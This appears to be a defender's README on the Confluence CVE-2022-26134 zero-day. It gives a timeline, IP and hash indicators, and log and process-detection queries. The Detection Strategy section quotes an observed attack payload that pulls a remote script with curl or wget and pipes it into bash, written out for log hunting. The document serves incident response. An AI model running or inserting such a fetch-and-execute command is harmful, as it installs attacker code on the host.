Confluence-CVE-2022-26134

This repository talks about Zero-Day Exploitation of Atlassian Confluence, it's defense and analysis point of view from a SecOps or Blue Team perspective

Index

• About
• Timeline
• Understanding the Exploit
• List of IOCs
• Detection Strategy
• Mitigation Plans
• References

About

Over the Memorial Day weekend in the United States, Volexity conducted an incident response investigation involving two Internet-facing web servers belonging to one of its customers that were running Atlassian Confluence Server software. The investigation began after suspicious activity was detected on the hosts, which included JSP webshells being written to disk. Volexity immediately used Volexity Surge Collect Pro to collect system memory and key files from the Confluence Server systems for analysis. After a thorough review of the collected data, Volexity was able to determine the server compromise stemmed from an attacker launching an exploit to achieve remote code execution. Volexity was subsequently able to recreate that exploit and identify a zero-day vulnerability impacting fully up-to-date versions of Confluence Server.

Following the discovery and verification of this vulnerability, Volexity contacted Atlassian to report the relevant details on May 31, 2022. Atlassian has since confirmed the vulnerability and subsequently assigned the issue to CVE-2022-26134. It has been confirmed to work on current versions of Confluence Server and Data Center.

Timeline

• An advisory dated June 2, 1300 PT (2000 UTC), does not describe the nature of the flaw, and reveals "current active exploitation" has been detected. No patch is available.
• Volexity discovers a zero-day in confluence 03/06/2022 (GMT)
• On 03/06/2022 (GMT) Atlassian
  • Clarifed the affected versions
  • Added a WAF rule
  • Added estimated timeframe for fixes to be available
• On 03/06/2022 we have seen active exploitation attempts and POCs being released all over the internet.
• On 03 Jun 2022 8 AM PDT (Pacific Time, -7 hours) Atlassian mitigation information to include replacement jar and class files
• On 03 Jun 2022 10 AM PDT (Pacific Time, -7 hours) Atlassian Updated with the fixed versions and removed interim advice about adding a WAF rule.
• On 03 Jun 2022 4 PM PDT (Pacific Time, -7 hours) Atlassian Updated to clarify limitation with rolling upgrades.

Refer the technical details HERE

Understanding-the-Exploit

• You can refer the Volexity Blog HERE to understand the full deatils of working principle of this explit and the details of analysis
• Watch this VIDEO for understanding the exploit and it's remediation.

List-of-IOCs

• Since this is a zero day vulnerability, and can be exploited very easily, there is no exclusive list of IOCs. From the community research it was observed attacker tried to deploy XMRIG, KINSING, MIRAI etc after exploitation.
• Exploit string “appears” to contain this string ${ This pattern isn’t urlencoded and isn’t URL SAFE so it would appear as: $%7B in the logs.
• The veloxity blog references the confluence file: noop.jsp
• A presence of a webshell as .jsp extention with no path details. For example THIS
• Some IP addresses-

154.146.34.145
154.16.105.147
156.146.34.46
156.146.34.52
156.146.34.9
156.146.56.136
198.147.22.148
198.147.22.148
221.178.126.244
45.43.19.91
59.163.248.170
64.64.228.239
66.115.182.102
66.115.182.111
67.149.61.16
98.32.230.38
193.106.191.48

• File hashes for malicious noop.jsp

f39b321472b8dac2452e4c0bc687cb5aa401ac6687520fdc9fd523a17477886d
f8df4dd46f02dc86d37d46cf4793e036

• Widespread Atlassian Confluence CVE-2022-26134 exploitation, specifically that is confirmed functional, has been observed on June 4, 2022. Find the unique IPs from HERE

Detection-Strategy

• If you have an internet facing Confluence Server and Data Center which is unpacthed, it is wise to interprit as Compromised
• Look for NEW files in the confluence path on disk which is having .jsp extention or any other.
• Look for suspicious child processes from tomcat logs

DeviceProcessEvents
| where InitiatingProcessFileName has_any( @"tomcat9.exe")
//| where ProcessCommandLine has_any (@"whoami.exe",@"nslookup.exe")

• Look for string ${ in (install directory)/logs/*.log
• In access logs try egrep -a -i -f pattern.txt *.log where pattern.txt should be saved as ${ or just try grep "\${" log file path or try grep "$%7B" log file path
• You might have web request coming in for noop.js, so you can try findstr -i noop.jsp "logpath"
• You may have different install directories, so try to find $jspname_jsp.java in confluence_install_dir/work/Standalone/ directory. For example, if you find a shell name hack.jsp you should see hack_jsp.java If you don't find hack.jsp in no longer in disk, try to pivot in web logs to look for access to it. It will give the signifance when it was accessed/deleted.
• EQL Query process where event='CreateProcess' and parent_process_path='/opt/atlassian/confluence/jre/bin/java' and process_user_name='confluence' can help to identify as described by David HERE
• Look for this common payload bash -c '(curl -s 195.2.79[.]26/cf.sh||wget -q -O- 195.2.79[.]26/cf.sh)|bash in the web logs
• A suricata signature can be found HERE
• Everyone's setup may be different but Confluence largely only has these JSP files:

./admin/findspaceattachments.jsp
./admin/cluster/hashclustername.jsp
./admin/default.jsp
./classpath.jsp
./errors/notfound.jsp
./500page.jsp
./errors.jsp
./noop.jsp

so looks for files created new which are not listed above

• Check for files on disk not listed and in access logs with 200 responses. Further, check if any of these files have been modified. In particular noop.jsp is popular and it's usually around 103 bytes.
• If you have identified noop.jsp file has been alrerted with, leverage this SCRIPT to identify if it is suspicious.
• You can use this SCRIPT to run a quick scan on your logs to see potential threat actor. NOTE- The list of IP should be verified before using this, also the list is not exclusive.
• Examine multiple cases to look for .java files in the ./confluence/org/apache/jsp/ directory that should not be there.
• Look for process tree and process execution on any host where you have identified exploit attempt. You should look for process tree like- java->bash->python->bash
• A bash process, spawned by a python one, whose father was another bash one and then the java root process name. Such a kind of execution should be identified